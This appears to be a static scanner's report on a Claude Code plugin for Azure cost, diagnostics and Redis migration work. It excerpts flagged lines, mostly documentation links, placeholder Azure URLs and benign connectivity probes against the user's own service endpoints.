| Source SKU | ARM Resource Type | CLI / PowerShell | Dedicated Skill | Repo | |---|---|---|---|---| | **ACR / OSS Redis** — Basic, Standard, Premium (C0–C6, P1–P5) | `Microsoft.Cache/redis` | `az redis`, `*-AzRedisCache` | `amr-migration-s - Network accessline 11
|---|---|---|---|---| | **ACR / OSS Redis** — Basic, Standard, Premium (C0–C6, P1–P5) | `Microsoft.Cache/redis` | `az redis`, `*-AzRedisCache` | `amr-migration-skill` | https://github.com/AzureManagedRedis/amr-migration-skill | | **ACRE** — - Network accessline 12
| **ACR / OSS Redis** — Basic, Standard, Premium (C0–C6, P1–P5) | `Microsoft.Cache/redis` | `az redis`, `*-AzRedisCache` | `amr-migration-skill` | https://github.com/AzureManagedRedis/amr-migration-skill | - Network accessline 13
| **ACRE** — Enterprise (`Enterprise_E*`), Enterprise Flash (`EnterpriseFlash_F*`) | `Microsoft.Cache/redisEnterprise` | `az redisenterprise`, `*-AzRedisEnterprise*` | `acre-to-amr-migration-skill` | https://github.com/AzureManagedRedis/acr - Network accessline 48
- IaC template migration for ARM, Bicep, and Terraform with worked before/after examples - Feature comparison and retirement FAQ - **Retirement deadlines this skill addresses**: ACR Basic/Standard/Premium tiers are being retired — for the c - Network accessline 50
- **Retirement deadlines this skill addresses**: ACR Basic/Standard/Premium tiers are being retired — for the current retirement and creation-block dates, see the [official ACR retirement announcement](https://learn.microsoft.com/en-us/azur - Network accessline 60
- Reusable polling scripts (`Poll-MigrationStatus.ps1`, `poll-migration-status.sh`) - Post-migration ACRE resource cleanup - **Retirement deadline this skill addresses**: ACRE / Enterprise Flash are being retired — for the current retiremen - Network accessline 62
- **Retirement deadline this skill addresses**: ACRE / Enterprise Flash are being retired — for the current retirement date, see the [official ACR retirement announcement](https://learn.microsoft.com/en-us/azure/azure-cache-for-redis/cache- - Network accessline 98
- AMR Migration Skill (ACR → AMR): https://github.com/AzureManagedRedis/amr-migration-skill - Network accessline 99
- ACRE → AMR Migration Skill: https://github.com/AzureManagedRedis/acre-to-amr-migration-skill - Network accessline 100
- Azure Managed Redis docs: https://learn.microsoft.com/en-us/azure/redis/managed-redis/ - Network accessline 101
- ACR retirement announcement: https://learn.microsoft.com/en-us/azure/azure-cache-for-redis/cache-retired-tiers - Network accessline 102
- Entra ID auth for AMR: https://learn.microsoft.com/en-us/azure/redis/managed-redis/managed-redis-entra-for-access-control-configuration
harness/claude-code/plugins/azure-observability-operations/.claude-plugin/plugin.json
- Network accessline 6
"name": "paulasilvatech" }, "repository": "https://github.com/paulasilvatech/copilot-primitives", - Network accessline 7
}, "repository": "https://github.com/paulasilvatech/copilot-primitives", "license": "MIT", - Network accessline 8
"repository": "https://github.com/paulasilvatech/copilot-primitives",
harness/claude-code/plugins/azure-observability-operations/skills/appinsights-instrumentation/references/AUTO.md
- Network accessline 3
Use Azure Portal to auto-instrument a webapp hosted in Azure App Service for App Insights without making any code changes. Only the following types of app can be auto-instrumented. See [supported environments and resource providers](https:/ - Network accessline 10
https://portal.azure.com/#resource/subscriptions/{subscription_id}/resourceGroups/{resource_group_name}/providers/Microsoft.Web/sites/{app_service_name}/monitoringSettings
harness/claude-code/plugins/azure-observability-operations/skills/appinsights-instrumentation/scripts/appinsights.ps1
- Executable scriptline 1
Executable file
harness/claude-code/plugins/azure-observability-operations/skills/azure-cost/cost-forecast/error-handling.md
- Network accessline 11
| 424 | Failed Dependency | Bad training data — forecast model cannot compute predictions | Falls back to actual costs if `includeActualCost=true`; otherwise suggest using **the Cost Query workflow (Part 1)** for historical data | | 429 | T - Network accessline 13
| 503 | Service Unavailable | Temporary service issue | Check [Azure Status](https://status.azure.com) for service health. | - Network accessline 44
| 404 | ❌ No | Fix the scope URL — verify subscription, resource group, or billing account IDs | | 424 | ❌ No | Training data issue — retrying will not help. Fall back to actual costs or use **the Cost Query workflow (Part 1)** | | 503 | ❌ - Network accessline 46
| 503 | ❌ No | Do not retry. Check [Azure Status](https://status.azure.com) for service health. |
harness/claude-code/plugins/azure-observability-operations/skills/azure-cost/cost-forecast/workflow.md
- Network accessline 117
| 424 | Bad training data | Insufficient history; falls back to actual costs if available. | | 429 | Rate limited | Check all `x-ms-ratelimit-microsoft.costmanagement-*-retry-after` headers (`qpu`, `entity`, `tenant`). Wait for the **longes - Network accessline 119
| 503 | Service unavailable | Check [Azure Status](https://status.azure.com). |
harness/claude-code/plugins/azure-observability-operations/skills/azure-cost/cost-optimization/auth-best-practices.md
- Network accessline 3
> Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 122
- [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) - Network accessline 123
- [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview) - Network accessline 124
- [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview) - Network accessline 125
- [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 126
- [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme) - Network accessline 127
- [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme) - Network accessline 128
- [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)
harness/claude-code/plugins/azure-observability-operations/skills/azure-cost/cost-optimization/azure-aks-anomalies.md
- Network accessline 12
az rest --method post \ --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.CostManagement/query?api-version=2023-11-01" \ - Network accessline 13
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.CostManagement/query?api-version=2023-11-01" \
harness/claude-code/plugins/azure-observability-operations/skills/azure-cost/cost-optimization/report-template.md
- Network accessline 56
https://portal.azure.com/#@<TENANT_ID>/resource/subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/<RESOURCE_PROVIDER>/<RESOURCE_TYPE>/<RESOURCE_NAME>/overview
harness/claude-code/plugins/azure-observability-operations/skills/azure-cost/cost-optimization/services/storage/azure-storage.md
- Network accessline 185
Always validate from [official pricing](https://azure.microsoft.com/pricing/details/storage/blobs/).
harness/claude-code/plugins/azure-observability-operations/skills/azure-cost/cost-optimization/workflow.md
- Network accessline 168
**Key services to validate:** - Container Apps: https://azure.microsoft.com/pricing/details/container-apps/ - Network accessline 169
- Container Apps: https://azure.microsoft.com/pricing/details/container-apps/ - Network accessline 170
- Virtual Machines: https://azure.microsoft.com/pricing/details/virtual-machines/ - Network accessline 171
- App Service: https://azure.microsoft.com/pricing/details/app-service/ - Network accessline 172
- Log Analytics: https://azure.microsoft.com/pricing/details/monitor/
harness/claude-code/plugins/azure-observability-operations/skills/azure-cost/cost-query/error-handling.md
- Network accessline 12
| 404 | `NotFound` | Scope does not exist, subscription not found, or resource group does not exist. | Verify the scope URL. Confirm the subscription ID and resource group name are correct. | | 429 | `TooManyRequests` | Rate limit exceeded. - Network accessline 14
| 503 | `ServiceUnavailable` | Cost Management service is temporarily unavailable. | Check [Azure Status](https://status.azure.com) for service health. | - Network accessline 37
| 403 | ❌ No | Fix permissions. Request appropriate RBAC role assignment on the scope. | | 404 | ❌ No | Fix the scope URL. Verify resource exists. | | 503 | ❌ No | Do not retry. Check [Azure Status](https://status.azure.com) for service hea - Network accessline 38
| 404 | ❌ No | Fix the scope URL. Verify resource exists. | | 503 | ❌ No | Do not retry. Check [Azure Status](https://status.azure.com) for service health. | | 5xx (other) | ❌ No | Do not retry. Investigate the error and check service healt - Network accessline 39
| 503 | ❌ No | Do not retry. Check [Azure Status](https://status.azure.com) for service health. |
harness/claude-code/plugins/azure-observability-operations/skills/azure-cost/cost-query/request-body-schema.md
- Network accessline 3
Schema for the [Cost Management Query API](https://learn.microsoft.com/en-us/rest/api/cost-management/query/usage).
harness/claude-code/plugins/azure-observability-operations/skills/azure-cost/cost-query/workflow.md
- Network accessline 137
| 404 | Scope not found | Verify scope URL and resource IDs. | | 429 | Too many requests | Check all `x-ms-ratelimit-microsoft.costmanagement-*-retry-after` headers (`qpu`, `entity`, `tenant`). Wait for the **longest** value. **Max 3 retrie - Network accessline 139
| 503 | Service unavailable | Check [Azure Status](https://status.azure.com). |
harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/references/app-service/README.md
- Network accessline 6
|---------|--------------|-----------| | High CPU / memory | Runaway process, inefficient code | Use Process Explorer via Kudu, scale up | | Deployment failure | Build error, locked files, quota | Check Kudu logs at `https://APP.scm.azurewe - Network accessline 7
| High CPU / memory | Runaway process, inefficient code | Use Process Explorer via Kudu, scale up | | Deployment failure | Build error, locked files, quota | Check Kudu logs at `https://APP.scm.azurewebsites.net/api/deployments` to look for - Network accessline 8
| Deployment failure | Build error, locked files, quota | Check Kudu logs at `https://APP.scm.azurewebsites.net/api/deployments` to look for details on build errors, locked files or lack of storage quota | - Network accessline 30
**Fix:** Scale up (`az appservice plan update -n <app-service-plan-name> -g <resource-group> --sku P1V3`) or profile the app via Kudu Process Explorer at `https://APP.scm.azurewebsites.net/ProcessExplorer/` to identify hot paths. - Network accessline 96
# Test the endpoint directly curl -s -o /dev/null -w "%{http_code}" https://APP.azurewebsites.net/health - Network accessline 97
curl -s -o /dev/null -w "%{http_code}" https://APP.azurewebsites.net/health
harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/references/container-apps/README.md
harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/references/kql-queries.md
harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/scripts/aks-baseline.ps1
- Executable scriptline 1
Executable file
harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/scripts/aks-baseline.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/scripts/appservice-diagnostics.ps1
- Executable scriptline 1
Executable file
harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/scripts/appservice-diagnostics.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/scripts/containerapp-diagnostics.ps1
- Executable scriptline 1
Executable file
harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/scripts/containerapp-diagnostics.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/scripts/pod-evidence.ps1
- Executable scriptline 1
Executable file
harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/scripts/pod-evidence.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/scripts/run-ig.ps1
- Executable scriptline 1
Executable file
harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/scripts/run-ig.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/scripts/test-messaging-connectivity.ps1
- Executable scriptline 1
Executable file - Network accessline 89
function Get-HttpsResult { try { $resp = Invoke-WebRequest -Uri "https://$fqdn/" -Method Get -TimeoutSec 15 ` - Network accessline 90
try { $resp = Invoke-WebRequest -Uri "https://$fqdn/" -Method Get -TimeoutSec 15 ` -UseBasicParsing -ErrorAction Stop - Network accessline 91
$resp = Invoke-WebRequest -Uri "https://$fqdn/" -Method Get -TimeoutSec 15 `
harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/scripts/test-messaging-connectivity.sh
- Executable scriptline 1
#!/usr/bin/env bash - Network accessline 99
probe_tcp() { local host="$1" port="$2" if command -v nc >/dev/null 2>&1; then - Network accessline 100
local host="$1" port="$2" if command -v nc >/dev/null 2>&1; then if nc -z -w 5 "$host" "$port" >/dev/null 2>&1; then - Network accessline 101
if command -v nc >/dev/null 2>&1; then - Network accessline 102
if nc -z -w 5 "$host" "$port" >/dev/null 2>&1; then - Dangerous shell operationline 108
( exec 3<>"/dev/tcp/$host/$port" ) >/dev/null 2>&1 & - Network accessline 108
( exec 3<>"/dev/tcp/$host/$port" ) >/dev/null 2>&1 & - Network accessline 132
# ── HTTPS reachability ──────────────────────────────────────────────────────── # On success the namespace returns an Atom feed or HTTP 401 — either proves the # endpoint is reachable. A connection failure (curl exit != 0) means blocked. - Network accessline 134
# endpoint is reachable. A connection failure (curl exit != 0) means blocked. - Network accessline 135
https_result() { if ! command -v curl >/dev/null 2>&1; then - Network accessline 136
if ! command -v curl >/dev/null 2>&1; then - Network accessline 138
if probe_tcp "$FQDN" 443; then echo "reachable (TCP 443 open; curl unavailable for HTTP check)" - Network accessline 139
echo "reachable (TCP 443 open; curl unavailable for HTTP check)" - Network accessline 144
fi local code code=$(curl -s -o /dev/null -m 15 -w '%{http_code}' "https://$FQDN/" 2>/dev/null) - Network accessline 145
local code code=$(curl -s -o /dev/null -m 15 -w '%{http_code}' "https://$FQDN/" 2>/dev/null) local rc=$? - Network accessline 146
code=$(curl -s -o /dev/null -m 15 -w '%{http_code}' "https://$FQDN/" 2>/dev/null) - Network accessline 149
echo "reachable (HTTP $code)" else echo "BLOCKED (curl exit $rc)" - Network accessline 150
else echo "BLOCKED (curl exit $rc)" fi - Network accessline 151
echo "BLOCKED (curl exit $rc)"
harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/aks/networking.md
- Network accessline 3
For CNI-specific issues, check CNI pod health and review [AKS networking concepts](https://learn.microsoft.com/azure/aks/concepts-network). - Network accessline 15
# This creates a temporary pod. Prefer read-only checks first. # Only use it after the user explicitly approves a mutating test. kubectl run netdebug --image=curlimages/curl -it --rm -n <ns> -- \ - Network accessline 16
# Only use it after the user explicitly approves a mutating test. kubectl run netdebug --image=curlimages/curl -it --rm -n <ns> -- \ curl -sv http://<service>.<ns>.svc.cluster.local:<port>/healthz - Network accessline 17
kubectl run netdebug --image=curlimages/curl -it --rm -n <ns> -- \ - Network accessline 18
curl -sv http://<service>.<ns>.svc.cluster.local:<port>/healthz
harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/aks/node-issues.md
- Network accessline 97
See [AKS resource reservations](https://learn.microsoft.com/azure/aks/concepts-clusters-workloads#resource-reservations) for allocatable math.
harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/aks/spot-and-zone-issues.md
- Network accessline 64
Use `Premium_ZRS` or `StandardSSD_ZRS` in custom StorageClasses to reduce zonal PVC conflicts. See [AKS storage best practices](https://learn.microsoft.com/azure/aks/operator-best-practices-storage).
harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/compute/references/cannot-connect-to-vm.md
- Network accessline 48
[Windows RDP]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-connection - Network accessline 49
[Linux SSH]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/troubleshoot-ssh-connection - Network accessline 50
[Windows VM hub]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/welcome-virtual-machines-windows - Network accessline 51
[Linux VM hub]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/welcome-virtual-machines-linux
harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/compute/references/credential-auth-errors.md
- Dangerous shell operationline 16
| sudo prompt fails | Linux | Fix sudoers via Run Command or Serial Console | [SSH overview] | - Network accessline 33
[Reset RDP]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/reset-rdp - Network accessline 34
[RDP overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-connection - Network accessline 35
[RDP errors]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-specific-rdp-errors - Network accessline 36
[CredSSP]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/credssp-encryption-oracle-remediation - Network accessline 37
[SSH detail]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/detailed-troubleshoot-ssh-connection - Network accessline 38
[SSH overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/troubleshoot-ssh-connection
harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/compute/references/firewall-blocking.md
- Network accessline 36
[Guest firewall]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/guest-os-firewall-blocking-inbound-traffic - Network accessline 37
[Firewall rule]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/enable-disable-firewall-rule-guest-os - Network accessline 38
[Offline firewall]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/disable-guest-os-firewall-windows - Network accessline 39
[SSH overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/troubleshoot-ssh-connection - Network accessline 40
[Linux repair]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/repair-linux-vm-using-azure-virtual-machine-repair-commands
harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/compute/references/network-connectivity.md
- Network accessline 36
[RDP NSG]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-nsg-problem - Network accessline 37
[Traffic filter]: https://learn.microsoft.com/en-us/azure/network-watcher/diagnose-vm-network-traffic-filtering-problem - Network accessline 38
[Routing]: https://learn.microsoft.com/en-us/azure/network-watcher/diagnose-vm-network-routing-problem - Network accessline 39
[Public IP]: https://learn.microsoft.com/en-us/azure/virtual-network/ip-services/public-ip-addresses - Network accessline 40
[RDP NIC]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-nic-disabled - Network accessline 41
[Reset NIC]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/reset-network-interface - Network accessline 42
[DHCP]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-dhcp-disabled - Network accessline 43
[SSH overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/troubleshoot-ssh-connection
harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/compute/references/rdp-connectivity.md
- Network accessline 34
[RDP NSG]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-nsg-problem - Network accessline 35
[Guest firewall]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/guest-os-firewall-blocking-inbound-traffic - Network accessline 36
[RDP errors]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-specific-rdp-errors - Network accessline 37
[Internal]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-internal-error - Network accessline 38
[General]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-general-error - Network accessline 39
[Detailed]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/detailed-troubleshoot-rdp - Network accessline 40
[RDP overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-connection - Network accessline 41
[Event IDs]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/event-id-troubleshoot-vm-rdp-connecton - Network accessline 42
[RDP NIC]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-nic-disabled
harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/compute/references/rdp-service-config.md
- Network accessline 7
| Symptom | Solution | Documentation - Network accessline 8
| -------------------------------------- | ---------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------- - Network accessline 9
| TermService not running | Start the service and set to Automatic | [Reset RDP service](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/reset-rdp) - Network accessline 10
| RDP port changed from 3389 | Reset port or update NSG to allow the custom port | [Detailed RDP troubleshooting](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/detailed-troubl - Network accessline 11
| RDP disabled (fDenyTSConnections = 1) | Reset RDP config via CLI or Portal | [Reset RDP service](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/reset-rdp) - Network accessline 12
| TLS/SSL certificate expired or corrupt | Delete cert and restart TermService to regenerate | [RDP internal error](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-internal - Network accessline 13
| NLA/Security Layer mismatch | Temporarily disable NLA for recovery | [RDP general error](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-general-e - Network accessline 14
| GPO overriding local RDP settings | Check `HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services` | [Detailed RDP troubleshooting](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/detailed-troubl - Network accessline 15
| RDS licensing expired | Remove RDSH role or configure license server | [Specific RDP errors](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-specific-rd
harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/compute/references/ssh-connectivity.md
- Network accessline 34
[SSH overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/troubleshoot-ssh-connection - Network accessline 35
[SSH detail]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/detailed-troubleshoot-ssh-connection - Network accessline 36
[Debian]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/cannot-connect-debian-linux - Network accessline 37
[SELinux]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/linux-selinux-troubleshooting - Network accessline 38
[UEFI]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/azure-linux-vm-uefi-boot-failures
harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/compute/references/vm-agent-not-responding.md
- Network accessline 9
| Symptom | OS | Solution | Documentation - Network accessline 10
| ---------------------------------------------------------------- | ------- | -------------------------------------------------------- | ------------------------------------------------------------------------------------------------------ - Network accessline 11
| Run Command times out | Windows | VM agent may be down — use Serial Console instead | [Serial Console — Windows](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windo - Network accessline 12
| Run Command times out | Linux | VM agent may be down — use Serial Console instead | [Serial Console — Linux](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/s - Network accessline 13
| Password reset fails via Portal/CLI | Windows | VMAccess extension can't communicate — use offline reset | [Reset password without agent](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/w - Network accessline 14
| Password/key reset fails via Portal/CLI | Linux | VMAccess extension can't communicate — use Serial Console | [Serial Console — Linux](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/ - Network accessline 15
| VM not booting (Boot Diagnostics shows BSOD/stuck) | Windows | OS-level issue — use repair VM for offline fix | [Repair Windows VM](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/repa - Network accessline 16
| VM not booting (Boot Diagnostics shows kernel panic/stuck) | Linux | Use repair VM for offline Linux disk fix | [Repair Linux VM](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/repair-l - Network accessline 17
| VMAccess extension error on domain controller | Windows | VMAccess doesn't support DCs — use Serial Console | [Serial Console — Windows](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windo
harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/messaging/auth-best-practices.md
- Network accessline 3
> Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 122
- [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) - Network accessline 123
- [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview) - Network accessline 124
- [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview) - Network accessline 125
- [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 126
- [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme) - Network accessline 127
- [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme) - Network accessline 128
- [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)
harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/messaging/azure-eventhubs-dotnet.md
- Network accessline 3
Package: `Azure.Messaging.EventHubs` | [README](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/eventhub/Azure.Messaging.EventHubs/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/eventhub/A - Network accessline 27
Configure via `EventHubsRetryOptions` when creating the client. See [Configuring retry thresholds sample](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/eventhub/Azure.Messaging.EventHubs/samples). - Network accessline 31
- **Socket exhaustion**: Treat clients as singletons. Share `EventHubConnection` across clients if needed. Always call `CloseAsync` or `DisposeAsync`. - **HTTP 412/409 from storage**: Normal during checkpoint store operations — not an error - Network accessline 32
- **HTTP 412/409 from storage**: Normal during checkpoint store operations — not an error. - **Partitions closing frequently**: Expected when scaling. If persists >5 min without scaling, investigate. See [Troubleshooting Guide](https://gith - Network accessline 33
- **Partitions closing frequently**: Expected when scaling. If persists >5 min without scaling, investigate. See [Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/eventhub/Azure.Messaging.EventHubs/TROUBLESHOO
harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/messaging/azure-eventhubs-java.md
- Network accessline 3
Package: `azure-messaging-eventhubs` | [README](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/eventhubs/azure-messaging-eventhubs/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/eventhu - Network accessline 5
> ⚠<U+FE0F> **Note:** The detailed Java troubleshooting guide has moved to [Microsoft Learn](https://learn.microsoft.com/azure/developer/java/sdk/troubleshooting-messaging-event-hubs-overview). - Network accessline 29
See [Java SDK logging docs](https://learn.microsoft.com/azure/developer/java/sdk/troubleshooting-messaging-event-hubs-overview) for details.
harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/messaging/azure-eventhubs-js.md
- Network accessline 3
Package: `@azure/event-hubs` | [README](https://github.com/Azure/azure-sdk-for-js/blob/main/sdk/eventhub/event-hubs/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-js/blob/main/sdk/eventhub/event-hubs/TROUBLESHOOTING
harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/messaging/azure-eventhubs-py.md
- Network accessline 3
Package: `azure-eventhub` | [README](https://github.com/Azure/azure-sdk-for-python/blob/main/sdk/eventhub/azure-eventhub) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-python/blob/main/sdk/eventhub/azure-eventhub/TRO
harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/messaging/azure-servicebus-dotnet.md
- Network accessline 3
Package: `Azure.Messaging.ServiceBus` | [README](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/servicebus/Azure.Messaging.ServiceBus/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/servic - Network accessline 12
| `ServiceBusException` (QuotaExceeded) | Too many concurrent receives | Reduce receivers or use batch receives | | `ServiceBusException` (MessageSizeExceeded) | Message or batch too large | Reduce payload. Premium tier supports individual - Network accessline 13
| `ServiceBusException` (MessageSizeExceeded) | Message or batch too large | Reduce payload. Premium tier supports individual messages up to 100MB. Batch limit is artificially computed on the client from the max message size sent by the ser - Network accessline 14
| `ServiceBusException` (ServiceBusy) | Request throttled | Auto-retried with 10s backoff. See [throttling docs](https://learn.microsoft.com/azure/service-bus-messaging/service-bus-throttling) |
harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/messaging/azure-servicebus-java.md
- Network accessline 3
Package: `azure-messaging-servicebus` | [README](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/servicebus/azure-messaging-servicebus/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/serv - Network accessline 30
Even with prefetch disabled in the builder, `receiveMessages` API can re-enable prefetch implicitly. See [SyncReceiveAndPrefetch](https://github.com/Azure/azure-sdk-for-java/tree/main/sdk/servicebus/azure-messaging-servicebus/docs/SyncRecei - Network accessline 45
See [Java SDK logging docs](https://learn.microsoft.com/azure/developer/java/sdk/troubleshooting-messaging-service-bus-overview) for details.
harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/messaging/azure-servicebus-js.md
- Network accessline 3
Package: `@azure/service-bus` | [README](https://github.com/Azure/azure-sdk-for-js/blob/main/sdk/servicebus/service-bus/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-js/blob/main/sdk/servicebus/service-bus/TROUBLES
harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/messaging/azure-servicebus-py.md
- Network accessline 3
Package: `azure-servicebus` | [README](https://github.com/Azure/azure-sdk-for-python/blob/main/sdk/servicebus/azure-servicebus/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-python/blob/main/sdk/servicebus/azure-ser
